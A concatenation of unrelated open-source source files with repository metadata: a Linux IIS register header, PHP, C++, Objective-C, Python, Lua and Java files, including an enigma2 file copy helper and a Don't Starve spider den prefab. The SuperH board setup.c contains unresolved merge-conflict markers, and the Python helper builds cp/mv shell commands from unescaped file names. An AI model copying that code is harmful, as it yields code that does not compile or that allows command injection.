/* No Transfer */ #define IISMOD_SEL_RX FInsrt(0x1, fIISMOD_SEL_TR) /* Receive */ #define IISMOD_SEL_TX FInsrt(0x2, fIISMOD_SEL_TR) /* Transmit */ #define IISMOD_SEL_BOTH FInsrt(0x3, fIISMOD_SEL_TR) /* Tx & Rx */ #define IISMOD_CH_RIGHT (0 << 5) /* high for right channel */ #define IISMOD_CH_LEFT (1 << 5) /* high for left channel */ #define IISMOD_FMT_IIS (0 << 4) /* IIS-compatible format */ #define IISMOD_FMT_MSB (1 << 4) /* MSB(left)-justified format */ #define IISMOD_BIT_8 (0 << 3) /* Serial data bit/channel is 8 bit*/ #define IISMOD_BIT_16 (1 << 3) /* Serial data bit/channel is 16 bit*/ #define IISMOD_FREQ_256 (0 << 2) /* Master clock freq = 256 fs */ #define IISMOD_FREQ_384 (1 << 2) /* Master clock freq = 384 fs */ #define fIISMOD_SFREQ Fld(2, 0) /* Serial bit clock frequency */ #define IISMOD_SFREQ FMsk(fIISMOD_SFREQ) /* fs = sampling frequency */ #define IISMOD_SFREQ_16 FInsrt(0x0, fIISMOD_SFREQ) /* 16 fs */ #define IISMOD_SFREQ_32 FInsrt(0x1, fIISMOD_SFREQ) /* 32 fs */ #define IISMOD_SFREQ_48 FInsrt(0x2, fIISMOD_SFREQ) /* 48 fs */ #define fIISPSR_A Fld(5, 5) /* Prescaler Control A */ #define IISPSR_A(x) FInsrt((x), fIISPSR_A) #define fIISPSR_B Fld(5, 0) /* Prescaler Control B */ #define IISPSR_B(x) FInsrt((x), fIISPSR_B) #define IISFCON_TX_NORM (0 << 15) /* Transmit FIFO access mode: normal */ #define IISFCON_TX_DMA (1 << 15) /* Transmit FIFO access mode: DMA */ #define IISFCON_RX_NORM (0 << 14) /* Receive FIFO access mode: normal */ #define IISFCON_RX_DMA (1 << 14) /* Receive FIFO access mode: DMA */ #define IISFCON_TX_EN (1 << 13) /* Transmit FIFO enable */ #define IISFCON_RX_EN (1 << 12) /* Recevice FIFO enable */ #define fIISFCON_TX_CNT Fld(6, 6) /* Tx FIFO data count (Read-Only) */ #define IISFCON_TX_CNT FMsk(fIISFCON_TX_CNT) #define fIISFCON_RX_CNT Fld(6, 0) /* Rx FIFO data count (Read-Only) */ #define IISFCON_RX_CNT FMsk(fIISFCON_RX_CNT) #endif /* __ASM_ARCH_REGS_IIS_H */
cyj1988jyc/jz2440-android-kernel-2.6.27
arch/arm/mach-s3c2410/include/mach/regs-iis.h
C
gpl-2.0
7,019
<?php /* * This file is part of PHPExifTool. * * (c) 2012 Romain Neutron <imprec@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPExiftool\Driver\Tag\IPTC; use PHPExiftool\Driver\AbstractTag; class SpecialInstructions extends AbstractTag { protected $Id = 40; protected $Name = 'SpecialInstructions'; protected $FullName = 'IPTC::ApplicationRecord'; protected $GroupName = 'IPTC'; protected $g0 = 'IPTC'; protected $g1 = 'IPTC'; protected $g2 = 'Other'; protected $Type = 'string'; protected $Writable = true; protected $Description = 'Special Instructions'; protected $MaxLength = 256; }
Droces/casabio
vendor/phpexiftool/phpexiftool/lib/PHPExiftool/Driver/Tag/IPTC/SpecialInstructions.php
PHP
gpl-2.0
761
// ライセンス: GPL2 // // ポップアップ系ビュー // #ifndef _ARTICLEVIEWPOPUP_H #define _ARTICLEVIEWPOPUP_H #include "articleviewbase.h" namespace ARTICLE { // ポップアップビューのベース class ArticleViewPopup : public ArticleViewBase { bool m_show_abone; public: ArticleViewPopup( const std::string& url, bool show_abone ); virtual ~ArticleViewPopup(); virtual void stop(){} protected: void show_instruct_popup(); const bool show_abone() const { return m_show_abone; } private: virtual DrawAreaBase* create_drawarea(); }; ///////////////////////////////////////////////////////////////////////// // HTMLコメントポップアップ class ArticleViewPopupHTML : public ArticleViewPopup { std::string m_html; public: ArticleViewPopupHTML( const std::string& url, const std::string& html ): ArticleViewPopup( url, false ), m_html( html ){} virtual ~ArticleViewPopupHTML(){} virtual void show_view(){ append_html( m_html ); } }; ///////////////////////////////////////////////////////////////////////// // レス抽出ポップアップ class ArticleViewPopupRes : public ArticleViewPopup { std::string m_str_num; bool m_show_title; public: ArticleViewPopupRes( const std::string& url, const std::string& num, bool show_title, bool show_abone ) : ArticleViewPopup( url, show_abone ), m_str_num( num ), m_show_title( show_title ){} virtual ~ArticleViewPopupRes(){} virtual void show_view(){ show_instruct_popup(); show_res( m_str_num, m_show_title ); } }; ///////////////////////////////////////////////////////////////////////// // 名前抽出ポップアップ class ArticleViewPopupName : public ArticleViewPopup { std::string m_str_name; public: ArticleViewPopupName( const std::string& url, const std::string& name ): ArticleViewPopup( url, false ), m_str_name( name ){} virtual ~ArticleViewPopupName(){} virtual void show_view(){ show_instruct_popup(); show_name( m_str_name, false ); } }; ///////////////////////////////////////////////////////////////////////// // ID 抽出ポップアップ class ArticleViewPopupID : public ArticleViewPopup { std::string m_str_id; public: ArticleViewPopupID( const std::string& url, const std::string& id ): ArticleViewPopup( url, false ), m_str_id( id ) {} virtual ~ArticleViewPopupID(){} virtual void show_view(){ show_instruct_popup(); show_id( m_str_id, false ); } }; ///////////////////////////////////////////////////////////////////////// // 参照抽出ポップアップ class ArticleViewPopupRefer : public ArticleViewPopup { std::string m_str_num; public: ArticleViewPopupRefer( const std::string& url, const std::string& num ): ArticleViewPopup( url, false ), m_str_num( num ){} virtual ~ArticleViewPopupRefer(){} virtual void show_view(){ show_instruct_popup(); show_refer( atol( m_str_num.c_str() ) ); } }; ///////////////////////////////////////////////////////////////////////// // キーワード抽出ビュー class ArticleViewPopupDrawout : public ArticleViewPopup { std::string m_query; bool m_mode_or; public: ArticleViewPopupDrawout( const std::string& url, const std::string& query, bool mode_or ) : ArticleViewPopup( url, false ), m_query( query ), m_mode_or( mode_or ){} virtual ~ArticleViewPopupDrawout(){} virtual void show_view(){ show_instruct_popup(); drawout_keywords( m_query, m_mode_or, false ); } }; ///////////////////////////////////////////////////////////////////////// // しおり抽出ポップアップ class ArticleViewPopupBM : public ArticleViewPopup { public: ArticleViewPopupBM( const std::string& url ) : ArticleViewPopup( url, false ){} virtual ~ArticleViewPopupBM(){} virtual void show_view(){ show_instruct_popup(); show_bm(); } }; } #endif
shinnya/jd-mirror
src/article/articleviewpopup.h
C
gpl-2.0
4,420
// // NSDate+Util.h // iosapp // // Created by AeternChan on 10/15/15. // Copyright © 2015 oschina. All rights reserved. // #import <Foundation/Foundation.h> #import <DateTools.h> @interface NSDate (Util) + (instancetype)dateFromString:(NSString *)string; - (NSString *)weekdayString; @end
billli5211/finalshares
iosapp/Expand/Categories/Date/NSDate+Util.h
C
gpl-2.0
299
from __future__ import print_function from Components.Task import PythonTask, Task, Job, job_manager as JobManager from Tools.Directories import fileExists from enigma import eTimer from os import path from shutil import rmtree, copy2, move class DeleteFolderTask(PythonTask): def openFiles(self, fileList): self.fileList = fileList def work(self): print("[DeleteFolderTask] files ", self.fileList) errors = [] try: rmtree(self.fileList) except Exception as e: errors.append(e) if errors: raise errors[0] class CopyFileJob(Job): def __init__(self, srcfile, destfile, name): Job.__init__(self, _("Copying files")) cmdline = 'cp -Rf "%s" "%s"' % (srcfile, destfile) AddFileProcessTask(self, cmdline, srcfile, destfile, name) class MoveFileJob(Job): def __init__(self, srcfile, destfile, name): Job.__init__(self, _("Moving files")) cmdline = 'mv -f "%s" "%s"' % (srcfile, destfile) AddFileProcessTask(self, cmdline, srcfile, destfile, name) class AddFileProcessTask(Task): def __init__(self, job, cmdline, srcfile, destfile, name): Task.__init__(self, job, name) self.setCmdline(cmdline) self.srcfile = srcfile self.destfile = destfile self.ProgressTimer = eTimer() self.ProgressTimer.callback.append(self.ProgressUpdate) def ProgressUpdate(self): if self.srcsize <= 0 or not fileExists(self.destfile, 'r'): return self.setProgress(int((path.getsize(self.destfile)/float(self.srcsize))*100)) self.ProgressTimer.start(5000, True) def prepare(self): if fileExists(self.srcfile, 'r'): self.srcsize = path.getsize(self.srcfile) self.ProgressTimer.start(5000, True) def afterRun(self): self.setProgress(100) self.ProgressTimer.stop() def copyFiles(fileList, name): for src, dst in fileList: if path.isdir(src) or int(path.getsize(src))/1000/1000 > 100: JobManager.AddJob(CopyFileJob(src, dst, name)) else: copy2(src, dst) def moveFiles(fileList, name): for src, dst in fileList: if path.isdir(src) or int(path.getsize(src))/1000/1000 > 100: JobManager.AddJob(MoveFileJob(src, dst, name)) else: move(src, dst) def deleteFiles(fileList, name): job = Job(_("Deleting files")) task = DeleteFolderTask(job, name) task.openFiles(fileList) JobManager.AddJob(job)
atvcaptain/enigma2
lib/python/Tools/CopyFiles.py
Python
gpl-2.0
2,263
/* * linux/arch/sh/boards/se/770x/setup.c * * Copyright (C) 2000 Kazumoto Kojima * * Hitachi SolutionEngine Support. * */ #include <linux/init.h> #include <linux/platform_device.h> #include <mach-se/mach/se.h> #include <mach-se/mach/mrshpc.h> #include <asm/machvec.h> #include <asm/io.h> #include <asm/smc37c93x.h> #include <asm/heartbeat.h> /* * Configure the Super I/O chip */ static void __init smsc_config(int index, int data) { outb_p(index, INDEX_PORT); outb_p(data, DATA_PORT); } /* XXX: Another candidate for a more generic cchip machine vector */ static void __init smsc_setup(char **cmdline_p) { outb_p(CONFIG_ENTER, CONFIG_PORT); outb_p(CONFIG_ENTER, CONFIG_PORT); /* FDC */ smsc_config(CURRENT_LDN_INDEX, LDN_FDC); smsc_config(ACTIVATE_INDEX, 0x01); smsc_config(IRQ_SELECT_INDEX, 6); /* IRQ6 */ /* AUXIO (GPIO): to use IDE1 */ smsc_config(CURRENT_LDN_INDEX, LDN_AUXIO); smsc_config(GPIO46_INDEX, 0x00); /* nIOROP */ smsc_config(GPIO47_INDEX, 0x00); /* nIOWOP */ /* COM1 */ smsc_config(CURRENT_LDN_INDEX, LDN_COM1); smsc_config(ACTIVATE_INDEX, 0x01); smsc_config(IO_BASE_HI_INDEX, 0x03); smsc_config(IO_BASE_LO_INDEX, 0xf8); smsc_config(IRQ_SELECT_INDEX, 4); /* IRQ4 */ /* COM2 */ smsc_config(CURRENT_LDN_INDEX, LDN_COM2); smsc_config(ACTIVATE_INDEX, 0x01); smsc_config(IO_BASE_HI_INDEX, 0x02); smsc_config(IO_BASE_LO_INDEX, 0xf8); smsc_config(IRQ_SELECT_INDEX, 3); /* IRQ3 */ /* RTC */ smsc_config(CURRENT_LDN_INDEX, LDN_RTC); smsc_config(ACTIVATE_INDEX, 0x01); smsc_config(IRQ_SELECT_INDEX, 8); /* IRQ8 */ /* XXX: PARPORT, KBD, and MOUSE will come here... */ outb_p(CONFIG_EXIT, CONFIG_PORT); } static struct resource cf_ide_resources[] = { [0] = { .start = PA_MRSHPC_IO + 0x1f0, .end = PA_MRSHPC_IO + 0x1f0 + 8, .flags = IORESOURCE_MEM, }, [1] = { .start = PA_MRSHPC_IO + 0x1f0 + 0x206, .end = PA_MRSHPC_IO + 0x1f0 + 8 + 0x206 + 8, .flags = IORESOURCE_MEM, }, [2] = { .start = IRQ_CFCARD, .flags = IORESOURCE_IRQ, }, }; static struct platform_device cf_ide_device = { .name = "pata_platform", .id = -1, .num_resources = ARRAY_SIZE(cf_ide_resources), .resource = cf_ide_resources, }; static unsigned char heartbeat_bit_pos[] = { 8, 9, 10, 11, 12, 13, 14, 15 }; static struct heartbeat_data heartbeat_data = { .bit_pos = heartbeat_bit_pos, .nr_bits = ARRAY_SIZE(heartbeat_bit_pos), }; static struct resource heartbeat_resource = { .start = PA_LED, .end = PA_LED, .flags = IORESOURCE_MEM | IORESOURCE_MEM_16BIT, }; static struct platform_device heartbeat_device = { .name = "heartbeat", .id = -1, .dev = { .platform_data = &heartbeat_data, }, .num_resources = 1, .resource = &heartbeat_resource, }; #if defined(CONFIG_CPU_SUBTYPE_SH7710) ||\ defined(CONFIG_CPU_SUBTYPE_SH7712) /* SH771X Ethernet driver */ static struct resource sh_eth0_resources[] = { [0] = { .start = SH_ETH0_BASE, .end = SH_ETH0_BASE + 0x1B8, .flags = IORESOURCE_MEM, }, [1] = { .start = SH_ETH0_IRQ, .end = SH_ETH0_IRQ, .flags = IORESOURCE_IRQ, }, }; static struct platform_device sh_eth0_device = { .name = "sh-eth", .id = 0, .dev = { .platform_data = PHY_ID, }, .num_resources = ARRAY_SIZE(sh_eth0_resources), .resource = sh_eth0_resources, }; static struct resource sh_eth1_resources[] = { [0] = { .start = SH_ETH1_BASE, .end = SH_ETH1_BASE + 0x1B8, .flags = IORESOURCE_MEM, }, [1] = { .start = SH_ETH1_IRQ, .end = SH_ETH1_IRQ, .flags = IORESOURCE_IRQ, }, }; static struct platform_device sh_eth1_device = { .name = "sh-eth", .id = 1, .dev = { .platform_data = PHY_ID, }, .num_resources = ARRAY_SIZE(sh_eth1_resources), .resource = sh_eth1_resources, }; #endif static struct platform_device *se_devices[] __initdata = { &heartbeat_device, &cf_ide_device, #if defined(CONFIG_CPU_SUBTYPE_SH7710) ||\ defined(CONFIG_CPU_SUBTYPE_SH7712) &sh_eth0_device, &sh_eth1_device, #endif }; static int __init se_devices_setup(void) { mrshpc_setup_windows(); return platform_add_devices(se_devices, ARRAY_SIZE(se_devices)); } device_initcall(se_devices_setup); /* * The Machine Vector */ static struct sh_machine_vector mv_se __initmv = { .mv_name = "SolutionEngine", .mv_setup = smsc_setup, #if defined(CONFIG_CPU_SH4) .mv_nr_irqs = 48, #elif defined(CONFIG_CPU_SUBTYPE_SH7708) .mv_nr_irqs = 32, #elif defined(CONFIG_CPU_SUBTYPE_SH7709) .mv_nr_irqs = 61, #elif defined(CONFIG_CPU_SUBTYPE_SH7705) .mv_nr_irqs = 86, #elif defined(CONFIG_CPU_SUBTYPE_SH7710) || defined(CONFIG_CPU_SUBTYPE_SH7712) .mv_nr_irqs = 104, #endif <<<<<<< HEAD ======= .mv_inb = se_inb, .mv_inw = se_inw, .mv_inl = se_inl, .mv_outb = se_outb, .mv_outw = se_outw, .mv_outl = se_outl, .mv_inb_p = se_inb_p, .mv_inw_p = se_inw, .mv_inl_p = se_inl, .mv_outb_p = se_outb_p, .mv_outw_p = se_outw, .mv_outl_p = se_outl, .mv_insb = se_insb, .mv_insw = se_insw, .mv_insl = se_insl, .mv_outsb = se_outsb, .mv_outsw = se_outsw, .mv_outsl = se_outsl, >>>>>>> 296c66da8a02d52243f45b80521febece5ed498a .mv_init_irq = init_se_IRQ, };
Core2idiot/Kernel-Samsung-3.0...-
arch/sh/boards/mach-se/770x/setup.c
C
gpl-2.0
5,134
local prefabs = { "spider", "spider_warrior", "silk", "spidereggsack", "spiderqueen", } local assets = { Asset("ANIM", "anim/spider_cocoon.zip"), Asset("SOUND", "sound/spider.fsb"), } local function SetStage(inst, stage) if stage <= 3 then inst.SoundEmitter:PlaySound("dontstarve/creatures/spider/spiderLair_grow") if GetSeasonManager() and GetSeasonManager():IsSpring() and inst.components.childspawner then inst.components.childspawner:SetMaxChildren(math.floor(TUNING.SPIDERDEN_SPIDERS[stage] * TUNING.SPRING_COMBAT_MOD)) elseif inst.components.childspawner then inst.components.childspawner:SetMaxChildren(TUNING.SPIDERDEN_SPIDERS[stage]) end if inst.components.health then inst.components.health:SetMaxHealth(TUNING.SPIDERDEN_HEALTH[stage]) end inst.AnimState:PlayAnimation(inst.anims.init) inst.AnimState:PushAnimation(inst.anims.idle, true) end inst.components.upgradeable:SetStage(stage) inst.data.stage = stage -- track here, as growable component may go away end local function SetSmall(inst) inst.anims = { hit="cocoon_small_hit", idle="cocoon_small", init="grow_sac_to_small", freeze="frozen_small", thaw="frozen_loop_pst_small", } SetStage(inst, 1) inst.components.lootdropper:SetLoot({ "silk","silk"}) if inst.components.burnable then inst.components.burnable:SetFXLevel(3) inst.components.burnable:SetBurnTime(10) end if inst.components.freezable then inst.components.freezable:SetShatterFXLevel(3) inst.components.freezable:SetResistance(2) end inst.GroundCreepEntity:SetRadius( 5 ) end local function SetMedium(inst) inst.anims = { hit="cocoon_medium_hit", idle="cocoon_medium", init="grow_small_to_medium", freeze="frozen_medium", thaw="frozen_loop_pst_medium", } SetStage(inst, 2) inst.components.lootdropper:SetLoot({ "silk","silk","silk","silk"}) if inst.components.burnable then inst.components.burnable:SetFXLevel(3) inst.components.burnable:SetBurnTime(10) end if inst.components.freezable then inst.components.freezable:SetShatterFXLevel(4) inst.components.freezable:SetResistance(3) end inst.GroundCreepEntity:SetRadius( 9 ) end local function SetLarge(inst) inst.anims = { hit="cocoon_large_hit", idle="cocoon_large", init="grow_medium_to_large", freeze="frozen_large", thaw="frozen_loop_pst_large", } SetStage(inst, 3) inst.components.lootdropper:SetLoot({ "silk","silk","silk","silk","silk","silk", "spidereggsack"}) if inst.components.burnable then inst.components.burnable:SetFXLevel(4) inst.components.burnable:SetBurnTime(15) end if inst.components.freezable then inst.components.freezable:SetShatterFXLevel(5) inst.components.freezable:SetResistance(4) end inst.GroundCreepEntity:SetRadius( 9 ) end local function AttemptMakeQueen(inst) if inst.data.stage == nil or inst.data.stage ~= 3 then -- we got here directly (probably by loading), so reconfigure to the level 3 state. SetLarge(inst) end local player = GetPlayer() if not player or player:GetDistanceSqToInst(inst) > 30*30 then inst.components.growable:StartGrowing(60 + math.random(60) ) return end local check_range = 60 local cap = 4 local x, y, z = inst.Transform:GetWorldPosition() local ents = TheSim:FindEntities(x,y,z, check_range) local num_dens = 0 for k,v in pairs(ents) do if v:HasTag("spiderden") or v.prefab == "spiderqueen" then num_dens = num_dens + 1 end if num_dens >= cap then break end end local should_duplicate = num_dens < cap inst.components.growable:SetStage(1) inst.AnimState:PlayAnimation("cocoon_large_burst") inst.AnimState:PushAnimation("cocoon_large_burst_pst") inst.AnimState:PushAnimation("cocoon_small", true) inst.SoundEmitter:PlaySound("dontstarve/creatures/spiderqueen/legburst") inst:DoTaskInTime(5*FRAMES, function() inst.SoundEmitter:PlaySound("dontstarve/creatures/spiderqueen/legburst") end) inst:DoTaskInTime(15*FRAMES, function() inst.SoundEmitter:PlaySound("dontstarve/creatures/spiderqueen/legburst") end) inst:DoTaskInTime(35*FRAMES, function() local queen = SpawnPrefab("spiderqueen") local pt = Vector3(inst.Transform:GetWorldPosition()) local rad = 1.25 local angle = math.random(2*PI) pt = pt + Vector3(rad*math.cos(angle), 0, rad*math.sin(angle)) queen.Transform:SetPosition(pt:Get()) queen.sg:GoToState("birth") if not should_duplicate then inst:Remove() end end) inst.components.growable:StartGrowing(60) end local function onspawnspider(inst, spider) spider.sg:GoToState("taunt") end local function OnKilled(inst) inst.AnimState:PlayAnimation("cocoon_dead") if inst.components.childspawner then inst.components.childspawner:ReleaseAllChildren() end inst.Physics:ClearCollisionMask() inst.SoundEmitter:KillSound("loop") inst.SoundEmitter:PlaySound("dontstarve/creatures/spider/spiderLair_destroy") inst.components.lootdropper:DropLoot(Vector3(inst.Transform:GetWorldPosition())) end local function SpawnDefenders(inst, attacker) if not inst.components.health:IsDead() then inst.SoundEmitter:PlaySound("dontstarve/creatures/spider/spiderLair_hit") inst.AnimState:PlayAnimation(inst.anims.hit) inst.AnimState:PushAnimation(inst.anims.idle) if inst.components.childspawner then local max_release_per_stage = {2, 4, 6} local num_to_release = math.min( max_release_per_stage[inst.data.stage] or 1, inst.components.childspawner.childreninside) local num_warriors = math.min(num_to_release, TUNING.SPIDERDEN_WARRIORS[inst.data.stage]) if GetSeasonManager() and GetSeasonManager():IsSpring() then num_to_release = math.floor(num_to_release * TUNING.SPRING_COMBAT_MOD) num_warriors = math.floor(num_warriors * TUNING.SPRING_COMBAT_MOD) end num_warriors = num_warriors - inst.components.childspawner:CountChildrenOutside(function(child) return child.prefab == "spider_warrior" end) for k = 1,num_to_release do if k <= num_warriors then inst.components.childspawner.childname = "spider_warrior" else inst.components.childspawner.childname = "spider" end local spider = inst.components.childspawner:SpawnChild() if spider and attacker and spider.components.combat then spider.components.combat:SetTarget(attacker) spider.components.combat:BlankOutAttacks(1.5 + math.random()*2) end end inst.components.childspawner.childname = "spider" end end end local function SpawnInvestigators(inst, data) if not inst.components.health:IsDead() and not (inst.components.freezable and inst.components.freezable:IsFrozen()) then inst.AnimState:PlayAnimation(inst.anims.hit) inst.AnimState:PushAnimation(inst.anims.idle) if inst.components.childspawner then local max_release_per_stage = {1, 2, 3} local num_to_release = math.min( max_release_per_stage[inst.data.stage] or 1, inst.components.childspawner.childreninside) if GetSeasonManager() and GetSeasonManager():IsSpring() then num_to_release = math.floor(num_to_release * TUNING.SPRING_COMBAT_MOD) end local num_investigators = inst.components.childspawner:CountChildrenOutside(function(child) return child.components.knownlocations:GetLocation("investigate") ~= nil end) num_to_release = num_to_release - num_investigators for k = 1,num_to_release do local spider = inst.components.childspawner:SpawnChild() if spider and data and data.target then spider.components.knownlocations:RememberLocation("investigate", Vector3(data.target.Transform:GetWorldPosition() ) ) end end end end end local function StartSpawning(inst) if inst.components.childspawner then local frozen = (inst.components.freezable and inst.components.freezable:IsFrozen()) if not frozen and not GetClock():IsDay() then inst.components.childspawner:StartSpawning() end end end local function StopSpawning(inst) if inst.components.childspawner then inst.components.childspawner:StopSpawning() end end local function OnIgnite(inst) if inst.components.childspawner then SpawnDefenders(inst) inst:RemoveComponent("childspawner") end inst.SoundEmitter:KillSound("loop") DefaultBurnFn(inst) end local function OnBurnt(inst) end local function OnFreeze(inst) print(inst, "OnFreeze") inst.SoundEmitter:PlaySound("dontstarve/common/freezecreature") inst.AnimState:PlayAnimation(inst.anims.freeze, true) inst.AnimState:OverrideSymbol("swap_frozen", "frozen", "frozen") StopSpawning(inst) if inst.components.growable then inst.components.growable:Pause() end end local function OnThaw(inst) print(inst, "OnThaw") inst.AnimState:PlayAnimation(inst.anims.thaw, true) inst.SoundEmitter:PlaySound("dontstarve/common/freezethaw", "thawing") inst.AnimState:OverrideSymbol("swap_frozen", "frozen", "frozen") end local function OnUnFreeze(inst) print(inst, "OnUnFreeze") inst.AnimState:PlayAnimation(inst.anims.idle, true) inst.SoundEmitter:KillSound("thawing") inst.AnimState:ClearOverrideSymbol("swap_frozen") StartSpawning(inst) if inst.components.growable then inst.components.growable:Resume() end end local function GetSmallGrowTime(inst) return TUNING.SPIDERDEN_GROW_TIME[1] + math.random()*TUNING.SPIDERDEN_GROW_TIME[1] end local function GetMedGrowTime(inst) return TUNING.SPIDERDEN_GROW_TIME[2]+ math.random()*TUNING.SPIDERDEN_GROW_TIME[2] end local function GetLargeGrowTime(inst) return TUNING.SPIDERDEN_GROW_TIME[3]+ math.random()*TUNING.SPIDERDEN_GROW_TIME[3] end local function OnEntityWake(inst) inst.SoundEmitter:PlaySound("dontstarve/creatures/spider/spidernest_LP", "loop") end local function OnEntitySleep(inst) inst.SoundEmitter:KillSound("loop") end local growth_stages = { {name="small", time = GetSmallGrowTime, fn = SetSmall }, {name="med", time = GetMedGrowTime , fn = SetMedium }, {name="large", time = GetLargeGrowTime, fn = SetLarge}, {name="queen", fn = AttemptMakeQueen} } local function OnStageAdvance(inst) inst.components.growable:DoGrowth() return true end local function OnUpgrade(inst) inst.AnimState:PlayAnimation(inst.anims.hit) inst.AnimState:PushAnimation(inst.anims.idle) end local function MakeSpiderDenFn(den_level) local spiderden_fn = function(Sim) local inst = CreateEntity() local trans = inst.entity:AddTransform() local anim = inst.entity:AddAnimState() inst.entity:AddGroundCreepEntity() inst.entity:AddSoundEmitter() inst.data = {} MakeObstaclePhysics(inst, .5) local minimap = inst.entity:AddMiniMapEntity() minimap:SetIcon( "spiderden.png" ) anim:SetBank("spider_cocoon") anim:SetBuild("spider_cocoon") anim:PlayAnimation("cocoon_small", true) inst:AddTag("structure") inst:AddTag("hostile") inst:AddTag("spiderden") inst:AddTag("hive") ------------------- inst:AddComponent("health") inst.components.health:SetMaxHealth(200) ------------------- inst:AddComponent("childspawner") inst.components.childspawner.childname = "spider" inst.components.childspawner:SetRegenPeriod(TUNING.SPIDERDEN_REGEN_TIME) inst.components.childspawner:SetSpawnPeriod(TUNING.SPIDERDEN_RELEASE_TIME) inst.components.childspawner:SetSpawnedFn(onspawnspider) --inst.components.childspawner:SetMaxChildren(TUNING.SPIDERDEN_SPIDERS[stage]) --inst.components.childspawner:ScheduleNextSpawn(0) inst:ListenForEvent("creepactivate", SpawnInvestigators) --------------------- inst:AddComponent("lootdropper") --------------------- --------------------- MakeMediumBurnable(inst) inst.components.burnable:SetOnIgniteFn(OnIgnite) ------------------- --------------------- MakeMediumFreezableCharacter(inst) inst:ListenForEvent("freeze", OnFreeze) inst:ListenForEvent("onthaw", OnThaw) inst:ListenForEvent("unfreeze", OnUnFreeze) ------------------- inst:ListenForEvent("dusktime", function() StartSpawning(inst) end, GetWorld()) inst:ListenForEvent("daytime", function() StopSpawning(inst) end , GetWorld()) ------------------- inst:AddComponent("combat") inst.components.combat:SetOnHit(SpawnDefenders) inst:ListenForEvent("death", OnKilled) -------------------- inst:AddComponent("upgradeable") inst.components.upgradeable.upgradetype = "SPIDER" inst.components.upgradeable.onupgradefn = OnUpgrade inst.components.upgradeable.onstageadvancefn = OnStageAdvance --------------------- MakeLargePropagator(inst) --------------------- inst:AddComponent("growable") inst.components.growable.springgrowth = true inst.components.growable.stages = growth_stages inst.components.growable:SetStage(den_level) inst.components.growable:StartGrowing() --------------------- --inst:AddComponent( "spawner" ) --inst.components.spawner:Configure( "resident", max, initial, rate ) --inst.spawn_weight = global_spawn_weight inst:AddComponent("inspectable") MakeSnowCovered(inst) inst:SetPrefabName("spiderden") inst.OnEntitySleep = OnEntitySleep inst.OnEntityWake = OnEntityWake return inst end return spiderden_fn end return Prefab( "forest/monsters/spiderden", MakeSpiderDenFn(1), assets, prefabs ), Prefab( "forest/monsters/spiderden_2", MakeSpiderDenFn(2), assets, prefabs ), Prefab( "forest/monsters/spiderden_3", MakeSpiderDenFn(3), assets, prefabs )
czfshine/Don-t-Starve
data/DLC0001/scripts/prefabs/spiderden.lua
Lua
gpl-2.0
14,060
package eu.ttbox.geoping.ui.core.validator.validate; import android.content.Context; import android.widget.TextView; import eu.ttbox.geoping.ui.core.validator.ValidateField; import eu.ttbox.geoping.ui.core.validator.Validator; import eu.ttbox.geoping.ui.core.validator.validator.NotEmptyValidator; /** * Validator class to validate if the fields are empty fields of 2 or not. If * one of them is null, no error. If both are nulls: Error * * @author throrin19 */ public class OrTwoRequiredValidate implements ValidateField { private TextView mField1; private TextView mField2; private Context mContext; private TextView source; private String mErrorMessage; public OrTwoRequiredValidate(TextView field1, TextView field2) { this.mField1 = field1; this.mField2 = field2; source = mField1; mContext = field1.getContext(); } @Override public boolean isValid(CharSequence value) { ValidateTextView field1Validator = new ValidateTextView(mField1) // .addValidator(new NotEmptyValidator()); ValidateTextView field2Validator = new ValidateTextView(mField2) // .addValidator(new NotEmptyValidator()); if (field1Validator.isValid(mField1.getText()) || field2Validator.isValid(mField2.getText())) { return true; } else { mErrorMessage = field1Validator.getMessages(); return false; } } @Override public String getMessages() { return mErrorMessage; } @Override public OrTwoRequiredValidate addValidator(Validator validator) { return this; } @Override public TextView getSource() { return source; } }
gabuzomeu/geoPingProject
geoPing/src/main/java/eu/ttbox/geoping/ui/core/validator/validate/OrTwoRequiredValidate.java
Java
gpl-2.0
1,810